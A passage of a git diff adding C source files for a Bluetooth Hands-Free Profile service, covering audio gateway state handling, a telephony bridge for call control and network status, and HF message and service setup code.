data->valueint1; + uint8_t ag_vol = bt_media_volume_media_to_hfp(data->valueint2); + if ((type == HFP_VOLUME_TYPE_SPK) && (ag_vol != agsm->spk_volume)) { + status = bt_sal_hfp_ag_set_volume(&agsm->addr, type, ag_vol); + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("Could not set speaker volume"); + break; + } + agsm->spk_volume = ag_vol; + } else if ((type == HFP_VOLUME_TYPE_MIC) && (ag_vol != agsm->mic_volume)) { + status = bt_sal_hfp_ag_set_volume(&agsm->addr, type, ag_vol); + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("Could not set mic volume"); + break; + } + agsm->mic_volume = ag_vol; + } + } break; + case AG_STACK_EVENT_CONNECTION_STATE_CHANGED: + default_connection_event_process(sm, p_data); + break; + case AG_STACK_EVENT_AUDIO_STATE_CHANGED: { + hfp_audio_state_t state = data->valueint1; + + switch (state) { + case HFP_AUDIO_STATE_DISCONNECTED: + hsm_transition_to(sm, &connected_state); + break; + case HFP_AUDIO_STATE_CONNECTED: + default: + BT_LOGW("Ignored audio connection state:%d", state); + break; + } + } break; + case AG_OFFLOAD_START_REQ: + if (ag_offload_send_cmd(agsm, true) != BT_STATUS_SUCCESS) { + BT_LOGE("failed to start offload"); + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_START_FAIL); + break; + } + flag_set(agsm, PENDING_OFFLOAD_START); + agsm->offload_timer = service_loop_timer(AG_OFFLOAD_TIMEOUT, 0, hfp_ag_offload_timeout_callback, agsm); + break; + case AG_OFFLOAD_START_EVT: { + bt_hci_event_t* hci_event; + hci_error_t result; + + if (agsm->offload_timer) { + service_loop_cancel_timer(agsm->offload_timer); + agsm->offload_timer = NULL; + } + + hci_event = data->data; + result = hci_get_result(hci_event); + if (result != HCI_SUCCESS) { + BT_LOGE("AG_OFFLOAD_START fail, status:0x%0x", result); + BT_DFX_HFP_OFFLOAD_ERROR(BT_DFXE_OFFLOAD_HCI_UNSPECIFIED_ERROR); + + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_START_FAIL); + if (bt_sal_hfp_ag_disconnect_audio(&agsm->addr) != BT_STATUS_SUCCESS) { + BT_ADDR_LOG("Terminate audio failed for :%s", &agsm->addr); + } + break; + } + + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_STARTED); + break; + } + case AG_OFFLOAD_TIMEOUT_EVT: { + flag_clear(agsm, PENDING_OFFLOAD_START); + agsm->offload_timer = NULL; + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_START_FAIL); + if (bt_sal_hfp_ag_disconnect_audio(&agsm->addr) != BT_STATUS_SUCCESS) { + BT_ADDR_LOG("Terminate audio failed for :%s", &agsm->addr); + } + break; + } break; + case AG_OFFLOAD_STOP_REQ: + if (agsm->offload_timer) { + service_loop_cancel_timer(agsm->offload_timer); + agsm->offload_timer = NULL; + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_START_FAIL); + } + if (ag_offload_send_cmd(agsm, false) != BT_STATUS_SUCCESS) { + BT_LOGE("failed to stop offload"); + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_STOPPED); + break; + } + flag_set(agsm, PENDING_OFFLOAD_STOP); + break; + case AG_OFFLOAD_STOP_EVT: + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_STOPPED); + break; + default: + default_process_event(sm, event, p_data); + break; + } + return true; +} + +static void audio_disconnecting_enter(state_machine_t* sm) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)sm; + AG_DBG_ENTER(sm, &agsm->addr); + ag_service_notify_audio_state_changed(&agsm->addr, HFP_AUDIO_STATE_DISCONNECTING); +} + +static void audio_disconnecting_exit(state_machine_t* sm) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)sm; + AG_DBG_EXIT(sm, &agsm->addr); +} + +static bool audio_disconnecting_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + ag_state_machine_t* agsm = (ag_state_machine_t*)sm; + hfp_ag_data_t* data = (hfp_ag_data_t*)p_data; + AG_DBG_EVENT(sm, &agsm->addr, event); + + switch (event) { + case AG_DISCONNECT: + /* TODO: defer disconnect message */ + bt_sal_hfp_ag_disconnect(&agsm->addr); + hsm_transition_to(sm, &disconnecting_state); + break; + case AG_STACK_EVENT_CONNECTION_STATE_CHANGED: + default_connection_event_process(sm, p_data); + break; + case AG_STACK_EVENT_AUDIO_STATE_CHANGED: { + hfp_audio_state_t state = data->valueint1; + + switch (state) { + case HFP_AUDIO_STATE_DISCONNECTED: + hsm_transition_to(sm, &connected_state); + break; + case HFP_AUDIO_STATE_CONNECTED: + default: + BT_LOGW("Ignored audio connection state:%d", state); + break; + } + } break; + case AG_OFFLOAD_START_REQ: + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_START_FAIL); + break; + case AG_OFFLOAD_STOP_REQ: + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_STOPPED); + break; + case AG_OFFLOAD_STOP_EVT: + audio_ctrl_send_control_event(PROFILE_HFP_AG, AUDIO_CTRL_EVT_STOPPED); + break; + default: + default_process_event(sm, event, p_data); + break; + } + return true; +} + +ag_state_machine_t* ag_state_machine_new(bt_address_t* addr, void* context) +{ + ag_state_machine_t* agsm; + + agsm = (ag_state_machine_t*)malloc(sizeof(ag_state_machine_t)); + if (!agsm) + return NULL; + + memset(agsm, 0, sizeof(ag_state_machine_t)); + agsm->recognition_active = false; + agsm->virtual_call_started = false; + agsm->service = context; + agsm->connect_timer = NULL; + agsm->audio_timer = NULL; + agsm->dial_out_timer = NULL; + agsm->codec = HFP_CODEC_CVSD; + agsm->media_volume = INVALID_MEDIA_VOLUME; + memcpy(&agsm->addr, addr, sizeof(bt_address_t)); + hsm_ctor(&agsm->sm, (state_t*)&disconnected_state); + + return agsm; +} + +void ag_state_machine_destory(ag_state_machine_t* agsm) +{ + if (!agsm) + return; + + if (agsm->connect_timer) + service_loop_cancel_timer(agsm->connect_timer); + + if (agsm->retry_timer) + service_loop_cancel_timer(agsm->retry_timer); + + bt_media_remove_listener(agsm->volume_listener); + agsm->volume_listener = NULL; + hsm_dtor(&agsm->sm); + free((void*)agsm); +} + +void ag_state_machine_dispatch(ag_state_machine_t* agsm, hfp_ag_msg_t* msg) +{ + if (!agsm || !msg) + return; + + hsm_dispatch_event(&agsm->sm, msg->event, &msg->data); +} + +uint32_t ag_state_machine_get_state(ag_state_machine_t* agsm) +{ + return hsm_get_current_state_value(&agsm->sm); +} + +uint16_t ag_state_machine_get_sco_handle(ag_state_machine_t* agsm) +{ + return agsm->sco_conn_handle; +} + +void ag_state_machine_set_sco_handle(ag_state_machine_t* agsm, uint16_t sco_hdl) +{ + agsm->sco_conn_handle = sco_hdl; +} + +uint8_t ag_state_machine_get_codec(ag_state_machine_t* agsm) +{ + return agsm->codec; +} + +void ag_state_machine_set_offloading(ag_state_machine_t* agsm, bool offloading) +{ + agsm->offloading = offloading; +} diff --git a/service/profiles/hfp_ag/hfp_ag_tele_service.c b/service/profiles/hfp_ag/hfp_ag_tele_service.c new file mode 100644 index 0000000000000000000000000000000000000000..c07af0216a788d9495063a768ec083503f8dd952 --- /dev/null +++ b/service/profiles/hfp_ag/hfp_ag_tele_service.c @@ -0,0 +1,509 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "tele_service" + +#include <stdint.h> + +#include "bt_list.h" +#include "hfp_ag_service.h" +#include "hfp_ag_tele_service.h" +#include "sal_hfp_ag_interface.h" +#include "telephony_interface.h" + +#include "utils/log.h" + +#define PRIMARY_SLOT CONFIG_BLUETOOTH_HFP_AG_PRIMARY_SLOT + +static void on_connection_state_changed(tele_client_t* tele, bool connected); +static void radio_state_changed(tele_client_t* tele, int radio_state); +static void on_call_added(tele_client_t* tele, tele_call_t* call); +static void on_call_removed(tele_client_t* tele, tele_call_t* call); +static void on_call_state_changed(tele_client_t* tele, tele_call_t* call, + int state); +static void call_disconnect_reason(tele_client_t* tele, tele_call_t* call, int reason); +static void on_operator_status_changed(tele_client_t* tele, int status); +static void on_network_reg_state_changed(tele_client_t* tele, int status); +static void on_signal_strength_changed(tele_client_t* tele, int strength); +static void radio_state_changed(tele_client_t* tele, int radio_state); + +static void update_call_state(hfp_ag_call_state_t new_state); +static void get_current_calls(tele_client_t* tele, tele_call_t** calls, uint8_t nums); + +static tele_callbacks_t tele_cbs = { + .connection_state_cb = on_connection_state_changed, + .radio_state_change_cb = radio_state_changed, + .call_added_cb = on_call_added, + .call_removed_cb = on_call_removed, + .operator_status_changed_cb = on_operator_status_changed, + .operator_name_changed_cb = NULL, + .network_reg_state_changed_cb = on_network_reg_state_changed, + .signal_strength_changed_cb = on_signal_strength_changed, +}; + +tele_call_callbacks_t tele_call_cbs = { + .call_state_changed_cb = on_call_state_changed, + .call_disconnect_reason_cb = call_disconnect_reason, +}; + +static tele_client_t* tele_context = NULL; +static bt_list_t* g_current_calls = NULL; +static uint8_t g_num_active = 0; +static uint8_t g_num_held = 0; +static uint8_t g_call_state = CALL_STATUS_DISCONNECTED; +static bool is_online = false; +static bool is_connected = false; + +static void on_connection_state_changed(tele_client_t* tele, bool connected) +{ + is_connected = connected; + + if (connected) { + is_online = teleif_modem_is_radio_on(tele, PRIMARY_SLOT); + if (is_online) + teleif_get_all_calls(tele, PRIMARY_SLOT, get_current_calls); + } + + BT_LOGD("%s, connected:%d, is_online:%d", __func__, connected, is_online); +} + +static void radio_state_changed(tele_client_t* tele, int radio_state) +{ + BT_LOGD("%s, radio_state:%d", __func__, radio_state); + + is_online = false; + bt_list_clear(g_current_calls); + + if (radio_state == RADIO_STATUS_ON) { + is_online = true; + teleif_get_all_calls(tele, PRIMARY_SLOT, get_current_calls); + } else { + /* TODO: disconnect hfp ag connection? */ + } +} + +static void dump_call(tele_call_t* call) +{ + BT_LOGD("Call:\n" + "\tState:%d\n" + "\tStartTime:%s\n" + "\tLineIdentification:%s\n" + "\tIncomingLine:%s\n" + "\tName:%s\n" + "\tRemoteHeld:%d, Emergency:%d\n" + "\tMultiparty:%d, RemoteMultiparty:%d", + call->call_state, call->start_time, call->line_identification, + call->incoming_line, call->name, call->is_remote_held, call->is_emergency, + call->is_multiparty, call->is_remote_multiparty); +} + +static bool call_is_found(void* data, void* context) +{ + return data == context; +} + +static void get_current_calls(tele_client_t* tele, tele_call_t** calls, uint8_t nums) +{ + tele_call_t* call; + + if (!calls || !nums) + return; + + for (int i = 0; i < nums; i++) { + call = calls[i]; + if (!bt_list_find(g_current_calls, call_is_found, call)) { + dump_call(call); + bt_list_add_tail(g_current_calls, call); + teleif_call_register_callbacks(tele, call, &tele_call_cbs); + } + } + + update_call_state(call->call_state); +} + +static void on_call_added(tele_client_t* tele, tele_call_t* call) +{ + if (bt_list_find(g_current_calls, call_is_found, call)) + return; + + dump_call(call); + bt_list_add_tail(g_current_calls, call); + teleif_call_register_callbacks(tele, call, &tele_call_cbs); + update_call_state(call->call_state); +} + +static void on_call_removed(tele_client_t* tele, tele_call_t* call) +{ + BT_LOGD("%s", __func__); + if (call->call_state != HFP_AG_CALL_STATE_IDLE && call->call_state != HFP_AG_CALL_STATE_DISCONNECTED) { + /* An active, setup, or held call is terminated */ + update_call_state(call->call_state); + } + teleif_call_unregister_callbacks(tele, call, &tele_call_cbs); + bt_list_remove(g_current_calls, call); +} + +static void update_device_status(void) +{ + uint8_t signal = 0; + hfp_network_state_t network_state; + hfp_roaming_state_t roam_state; + + tele_service_get_network_info(&network_state, &roam_state, &signal); + hfp_ag_device_status_changed(NULL, network_state, roam_state, signal, 5); +} + +static void on_operator_status_changed(tele_client_t* tele, int status) +{ + update_device_status(); +} + +static void on_network_reg_state_changed(tele_client_t* tele, int status) +{ + update_device_status(); +} + +static void on_signal_strength_changed(tele_client_t* tele, int strength) +{ + teleif_modem_get_radio_power(tele, PRIMARY_SLOT); + update_device_status(); +} + +static void on_call_state_changed(tele_client_t* tele, tele_call_t* call, + int state) +{ + BT_LOGD("%s, callstate:%d", __func__, state); + update_call_state(state); +} + +static void call_disconnect_reason(tele_client_t* tele, tele_call_t* call, int reason) +{ + BT_LOGD("%s disconnect_reason:%d", __func__, reason); +} + +static void dial_number_callback(tele_client_t* tele, bool succeeded) +{ + uint8_t result = succeeded ? HFP_ATCMD_RESULT_OK : HFP_ATCMD_RESULT_ERROR; + + BT_LOGD("Dial result:%d", succeeded); + hfp_ag_dial_result(result); +} + +static tele_call_t* get_call_by_state(uint8_t call_state) +{ + bt_list_t* list = g_current_calls; + bt_list_node_t* node; + tele_call_t* call; + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + call = bt_list_node(node); + if (call->call_state == call_state) + return call; + } + + return NULL; +} + +static int get_nums_of_call_state(uint8_t call_state) +{ + bt_list_t* list = g_current_calls; + bt_list_node_t* node; + tele_call_t* call; + int nums = 0; + + for (node = bt_list_head(list); node != NULL; + node = bt_list_next(list, node)) { + call = bt_list_node(node); + if (call->call_state == call_state) + nums++; + } + + return nums; +} + +static bool all_call_disconnected(void) +{ + bt_list_node_t* node; + bt_list_t* list = g_current_calls; + tele_call_t* call; + + for (node = bt_list_head(list); node != NULL; + node = bt_list_next(list, node)) { + call = bt_list_node(node); + if (call->call_state != HFP_AG_CALL_STATE_IDLE && call->call_state != HFP_AG_CALL_STATE_DISCONNECTED) + return false; + } + + return true; +} + +static void phone_state_change(uint8_t num_active, uint8_t num_held, + hfp_ag_call_state_t call_state, + hfp_call_addrtype_t type, const char* number, + const char* name) +{ + g_num_active = num_active; + g_num_held = num_held; + g_call_state = call_state; + BT_LOGD("%s,active:%d, held:%d, state: %d, number:%s", __func__, num_active, + num_held, call_state, number); + hfp_ag_phone_state_change(NULL, num_active, num_held, call_state, type, number, NULL); +} + +static void update_call_state(hfp_ag_call_state_t new_state) +{ + uint8_t active_call_nums = get_nums_of_call_state(HFP_AG_CALL_STATE_ACTIVE); + uint8_t held_call_nums = get_nums_of_call_state(HFP_AG_CALL_STATE_HELD); + char* number = ""; + tele_call_t* call; + + BT_LOGD("%s,state: %d", __func__, new_state); + call = get_call_by_state(new_state); + if (!call) + return; + + number = call->line_identification; + + switch (new_state) { + case HFP_AG_CALL_STATE_INCOMING: + case HFP_AG_CALL_STATE_WAITING: + call->is_incoming = true; + break; + case HFP_AG_CALL_STATE_DIALING: + case HFP_AG_CALL_STATE_ALERTING: + call->is_incoming = false; + break; + case HFP_AG_CALL_STATE_IDLE: + case HFP_AG_CALL_STATE_DISCONNECTED: + call->is_incoming = false; // reset. + break; + default: + /* nothing to do at this stage */ + break; + } + + if (new_state == HFP_AG_CALL_STATE_ALERTING && g_call_state != HFP_AG_CALL_STATE_DIALING) { + phone_state_change(active_call_nums, held_call_nums, + HFP_AG_CALL_STATE_DIALING, + HFP_CALL_ADDRTYPE_UNKNOWN, + number, NULL); + } else if (new_state == HFP_AG_CALL_STATE_IDLE || new_state == HFP_AG_CALL_STATE_DISCONNECTED) { + new_state = HFP_AG_CALL_STATE_DISCONNECTED; + /* if all disconnected, send disconnected notification */ + if (!all_call_disconnected() && new_state == g_call_state) + return; + } + + phone_state_change(active_call_nums, held_call_nums, new_state, + HFP_CALL_ADDRTYPE_UNKNOWN, number, NULL); +} + +void tele_service_init(void) +{ + g_current_calls = bt_list_new(NULL); + tele_context = teleif_client_connect("HFP-AG"); + if (!tele_context) { + BT_LOGD("tele client connect failed"); + return; + } + + teleif_register_callbacks(tele_context, PRIMARY_SLOT, &tele_cbs); + BT_LOGD("%s end", __func__); +} + +void tele_service_cleanup(void) +{ + if (!tele_context) + return; + teleif_unregister_callbacks(tele_context, PRIMARY_SLOT, &tele_cbs); + teleif_client_disconnect(tele_context); + bt_list_free(g_current_calls); + g_current_calls = NULL; +} + +bt_status_t tele_service_dial_number(char* number) +{ + if (!is_connected || !is_online) + return BT_STATUS_NOT_ENABLED; + + if (!number) + return BT_STATUS_FAIL; + + if (teleif_call_dial_number(tele_context, PRIMARY_SLOT, number, dial_number_callback) != 0) { + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t tele_service_answer_call(void) +{ + if (!is_connected || !is_online) + return BT_STATUS_NOT_ENABLED; + + tele_call_t* call = get_call_by_state(CALL_STATUS_INCOMING); + if (!call) + return BT_STATUS_FAIL; + + if (teleif_call_answer_call(tele_context, call) != 0) + return BT_STATUS_FAIL; + + return BT_STATUS_SUCCESS; +} + +bt_status_t tele_service_reject_call(void) +{ + if (!is_connected || !is_online) + return BT_STATUS_NOT_ENABLED; + + tele_call_t* call = get_call_by_state(CALL_STATUS_INCOMING); + if (!call) + return BT_STATUS_FAIL; + + if (teleif_call_reject_call(tele_context, call) != 0) + return BT_STATUS_FAIL; + + return BT_STATUS_SUCCESS; +} + +bt_status_t tele_service_hangup_call(void) +{ + if (!is_connected || !is_online) + return BT_STATUS_NOT_ENABLED; + + if (teleif_call_hangup_all_call(tele_context, PRIMARY_SLOT) != 0) + return BT_STATUS_FAIL; + + return BT_STATUS_SUCCESS; +} + +bt_status_t tele_service_call_control(uint8_t chld) +{ + if (!is_connected || !is_online) + return BT_STATUS_NOT_ENABLED; + + switch (chld) { + case HFP_HF_CALL_CONTROL_CHLD_0: { + tele_call_t* waiting_call = get_call_by_state(CALL_STATUS_WAITING); + tele_call_t* held_call = get_call_by_state(CALL_STATUS_HELD); + + if (waiting_call != NULL) { + teleif_call_hangup_call(tele_context, waiting_call); + } else if (held_call != NULL) { + /* hangup held call */ + teleif_call_hangup_call(tele_context, held_call); + } + } break; + case HFP_HF_CALL_CONTROL_CHLD_1: + teleif_call_release_and_answer(tele_context, PRIMARY_SLOT); + break; + case HFP_HF_CALL_CONTROL_CHLD_2: + teleif_call_hold_and_answer(tele_context, PRIMARY_SLOT); + break; + case HFP_HF_CALL_CONTROL_CHLD_3: { + tele_call_t* active_call = get_call_by_state(CALL_STATUS_ACTIVE); + tele_call_t* held_call = get_call_by_state(CALL_STATUS_HELD); + + if (!active_call || !held_call) + return BT_STATUS_FAIL; + + teleif_call_merge_call(tele_context, PRIMARY_SLOT); + } break; + case HFP_HF_CALL_CONTROL_CHLD_4: + default: + return BT_STATUS_FAIL; + } + return BT_STATUS_SUCCESS; +} + +void tele_service_get_phone_state(uint8_t* num_active, uint8_t* num_held, + uint8_t* call_state) +{ + *num_active = g_num_active; + *num_held = g_num_held; + *call_state = g_call_state; +} + +void tele_service_query_current_call(bt_address_t* addr) +{ + bt_list_node_t* node; + bt_list_t* list = g_current_calls; + tele_call_t* call; + int index = 0; + + if (!is_connected || !is_online) { + /* Send "OK\r\n" */ + bt_sal_hfp_ag_clcc_response(addr, 0, 0, 0, 0, 0, 0, NULL); + return; + } + + for (node = bt_list_head(list); node != NULL; + node = bt_list_next(list, node)) { + index++; + call = bt_list_node(node); + /* Send "+CLCC" result code. */ + bt_sal_hfp_ag_clcc_response(addr, index, call->is_incoming, + call->call_state, HFP_CALL_MODE_VOICE, + call->is_multiparty, HFP_CALL_ADDRTYPE_UNKNOWN, + call->line_identification); + } + + /* Send "OK\r\n" */ + bt_sal_hfp_ag_clcc_response(addr, 0, 0, 0, 0, 0, 0, NULL); +} + +char* tele_service_get_operator(void) +{ + char* name = NULL; + int status; + + if (!is_connected || !is_online) + return ""; + + teleif_network_get_operator(tele_context, PRIMARY_SLOT, &name, &status); + + return name; +} + +bt_status_t tele_service_get_network_info(hfp_network_state_t* network, + hfp_roaming_state_t* roam, + uint8_t* signal) +{ + char* name; + int status; + int strength = -1; + bool is_roaming = false; + + if (!is_connected || !is_online) { + *network = HFP_NETWORK_NOT_AVAILABLE; + *roam = HFP_ROAM_STATE_NO_ROAMING; + *signal = 0; + return BT_STATUS_NOT_ENABLED; + } + + teleif_network_get_operator(tele_context, PRIMARY_SLOT, &name, &status); + teleif_network_get_signal_strength(tele_context, PRIMARY_SLOT, &strength); + is_roaming = teleif_network_is_roaming(tele_context, PRIMARY_SLOT); + if (status == OPERATOR_STATUS_AVAILABLE || status == OPERATOR_STATUS_CURRENT) + *network = HFP_NETWORK_AVAILABLE; + else + *network = HFP_NETWORK_NOT_AVAILABLE; + *roam = is_roaming ? HFP_ROAM_STATE_ROAMING : HFP_ROAM_STATE_NO_ROAMING; + *signal = ((strength - 1) / 20) + 1; + + BT_LOGD("Network:%d, roaming:%d, strength:%d", *network, *roam, *signal); + + return BT_STATUS_SUCCESS; +} \ No newline at end of file diff --git a/service/profiles/hfp_hf/hfp_hf_event.c b/service/profiles/hfp_hf/hfp_hf_event.c new file mode 100644 index 0000000000000000000000000000000000000000..5ca141e786e9c67742ecfee6f614a3c640f3d782 --- /dev/null +++ b/service/profiles/hfp_hf/hfp_hf_event.c @@ -0,0 +1,59 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdlib.h> +#include <string.h> + +#include "bt_addr.h" +#include "hfp_hf_event.h" + +hfp_hf_msg_t* hfp_hf_msg_new(hfp_hf_event_t event, bt_address_t* addr) +{ + return hfp_hf_msg_new_ext(event, addr, NULL, 0); +} + +hfp_hf_msg_t* hfp_hf_msg_new_ext(hfp_hf_event_t event, bt_address_t* addr, + void* data, size_t size) +{ + hfp_hf_msg_t* msg; + + msg = (hfp_hf_msg_t*)zalloc(sizeof(hfp_hf_msg_t)); + if (msg == NULL) + return NULL; + + msg->event = event; + if (addr != NULL) + memcpy(&msg->data.addr, addr, sizeof(bt_address_t)); + + if (size > 0) { + msg->data.size = size; + msg->data.data = malloc(size); + memcpy(msg->data.data, data, size); + } + + return msg; +} + +void hfp_hf_msg_destroy(hfp_hf_msg_t* msg) +{ + if (!msg) { + return; + } + + free(msg->data.string1); + free(msg->data.string2); + free(msg->data.data); + free(msg); +} diff --git a/service/profiles/hfp_hf/hfp_hf_service.c b/service/profiles/hfp_hf/hfp_hf_service.c new file mode 100644 index 0000000000000000000000000000000000000000..9762fa0f76ca30c7b3272ee39bf5b04862c1973c --- /dev/null +++ b/service/profiles/hfp_hf/hfp_hf_service.c @@ -0,0 +1,1109 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "hfp_hf" +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include <stdint.h> +#include <sys/types.h> +#ifdef CONFIG_KVDB +#include <kvdb.h> +#endif + +#include "audio_control.h" +#include "bt_hfp_hf.h" +#include "bt_profile.h" +#include "bt_vendor.h" +#include "callbacks_list.h" +#include "hfp_hf_service.h" +#include "hfp_hf_state_machine.h" +#include "sal_hfp_hf_interface.h" +#include "service_loop.h" +#include "service_manager.h" +#include "utils/log.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ +#ifndef CONFIG_HFP_HF_MAX_CONNECTIONS +#define CONFIG_HFP_HF_MAX_CONNECTIONS 1 +#endif + +#define CHECK_ENABLED() \ + { \ + if (!g_hfp_service.started) \ + return BT_STATUS_NOT_ENABLED; \ + } + +#define HF_CALLBACK_FOREACH(_list, _cback, ...) BT_CALLBACK_FOREACH(_list, hfp_hf_callbacks_t, _cback, ##__VA_ARGS__) + +/**************************************************************************** + * Private Types + ****************************************************************************/ +typedef struct +{ + bool started; + bool offloading; + uint8_t max_connections; + bt_list_t* hf_devices; + callbacks_list_t* callbacks; +} hf_service_t; + +typedef struct +{ + bt_address_t addr; + hf_state_machine_t* hfsm; +} hf_device_t; + +/**************************************************************************** + * Private Function Prototypes + ****************************************************************************/ +bt_status_t hfp_hf_send_message(hfp_hf_msg_t* msg); +static hf_state_machine_t* get_state_machine(bt_address_t* addr); +static bool hfp_hf_unregister_callbacks(void** remote, void* cookie); + +/**************************************************************************** + * Private Data + ****************************************************************************/ +static hf_service_t g_hfp_service = { + .started = false, + .hf_devices = NULL, + .callbacks = NULL, +}; + +static uint32_t hf_support_features = HFP_BRSF_HF_HFINDICATORS | HFP_BRSF_HF_RMTVOLCTRL | HFP_BRSF_HF_ENHANCED_CALLSTATUS | HFP_BRSF_HF_CLIP | HFP_BRSF_HF_3WAYCALL | HFP_BRSF_HF_ENHANCED_CALLCONTROL | HFP_BRSF_HF_BVRA | HFP_BRSF_HF_CODEC_NEGOTIATION | HFP_BRSF_HF_ESCO_S4T2_SETTING; + +/**************************************************************************** + * Private Functions + ****************************************************************************/ +static bool hf_device_cmp(void* device, void* addr) +{ + return bt_addr_compare(&((hf_device_t*)device)->addr, addr) == 0; +} + +static hf_device_t* find_hf_device_by_addr(bt_address_t* addr) +{ + return bt_list_find(g_hfp_service.hf_devices, hf_device_cmp, addr); +} + +static hf_device_t* find_hf_device_by_state(hfp_hf_state_t state) +{ + bt_list_t* list = g_hfp_service.hf_devices; + bt_list_node_t* node; + + if (list == NULL) { + return NULL; + } + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + hf_device_t* device = bt_list_node(node); + if (hf_state_machine_get_state(device->hfsm) == state) { + return device; + } + } + + return NULL; +} + +static hf_device_t* hf_device_new(bt_address_t* addr, hf_state_machine_t* hfsm) +{ + hf_device_t* device = malloc(sizeof(hf_device_t)); + if (!device) + return NULL; + + memcpy(&device->addr, addr, sizeof(bt_address_t)); + device->hfsm = hfsm; + + return device; +} + +static void hf_device_delete(hf_device_t* device) +{ + if (!device) + return; + + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_DISCONNECT, &device->addr); + if (msg == NULL) + return; + + hf_state_machine_dispatch(device->hfsm, msg); + hfp_hf_msg_destroy(msg); + hf_state_machine_destory(device->hfsm); + free(device); +} + +static hf_state_machine_t* get_state_machine(bt_address_t* addr) +{ + hf_state_machine_t* hfsm; + hf_device_t* device; + + if (!g_hfp_service.started) + return NULL; + + device = find_hf_device_by_addr(addr); + if (device) + return device->hfsm; + + hfsm = hf_state_machine_new(addr, (void*)&g_hfp_service); + if (!hfsm) { + BT_LOGE("Create state machine failed"); + return NULL; + } + + hf_state_machine_set_offloading(hfsm, g_hfp_service.offloading); + device = hf_device_new(addr, hfsm); + if (!device) { + BT_LOGE("New device alloc failed"); + hf_state_machine_destory(hfsm); + return NULL; + } + + bt_list_add_tail(g_hfp_service.hf_devices, device); + + return hfsm; +} + +static uint32_t get_hf_features(void) +{ +#if defined(CONFIG_KVDB) && defined(__NuttX__) + return property_get_int32("persist.bluetooth.hfp.hf_features", hf_support_features); +#else + return hf_support_features; +#endif +} + +static void hf_startup(profile_on_startup_t on_startup) +{ + bt_status_t status; + hf_service_t* service = &g_hfp_service; + + if (service->started) { + on_startup(PROFILE_HFP_HF, true); + return; + } + + service->max_connections = CONFIG_HFP_HF_MAX_CONNECTIONS; + service->hf_devices = bt_list_new((bt_list_free_cb_t)hf_device_delete); + service->callbacks = bt_callbacks_list_new(CONFIG_BLUETOOTH_MAX_REGISTER_NUM); + if (!service->hf_devices || !service->callbacks) { + status = BT_STATUS_NOMEM; + goto fail; + } + + status = bt_sal_hfp_hf_init(get_hf_features(), CONFIG_HFP_HF_MAX_CONNECTIONS); + if (status != BT_STATUS_SUCCESS) + goto fail; + + service->started = true; + on_startup(PROFILE_HFP_HF, true); + + return; +fail: + bt_list_free(service->hf_devices); + service->hf_devices = NULL; + bt_callbacks_list_free(service->callbacks); + service->callbacks = NULL; + on_startup(PROFILE_HFP_HF, false); +} + +static void hf_shutdown(profile_on_shutdown_t on_shutdown) +{ + hf_service_t* service = &g_hfp_service; + + if (!service->started) { + on_shutdown(PROFILE_HFP_HF, true); + return; + } + + service->started = false; + bt_list_free(service->hf_devices); + service->hf_devices = NULL; + bt_callbacks_list_free(service->callbacks); + service->callbacks = NULL; + bt_sal_hfp_hf_cleanup(); + on_shutdown(PROFILE_HFP_HF, true); +} + +static void hf_dispatch_msg_foreach(void* data, void* context) +{ + hf_device_t* device = (hf_device_t*)data; + + hf_state_machine_dispatch(device->hfsm, (hfp_hf_msg_t*)context); +} + +static void hfp_hf_process_message(void* data) +{ + hfp_hf_msg_t* msg = (hfp_hf_msg_t*)data; + + if (!g_hfp_service.started && msg->event != HF_STARTUP) { + hfp_hf_msg_destroy(msg); + return; + } + + switch (msg->event) { + case HF_STARTUP: + hf_startup(INT2PTR(profile_on_startup_t) msg->data.valueint1); + break; + case HF_SHUTDOWN: + hf_shutdown(INT2PTR(profile_on_shutdown_t) msg->data.valueint1); + break; + case HF_UPDATE_BATTERY_LEVEL: + case 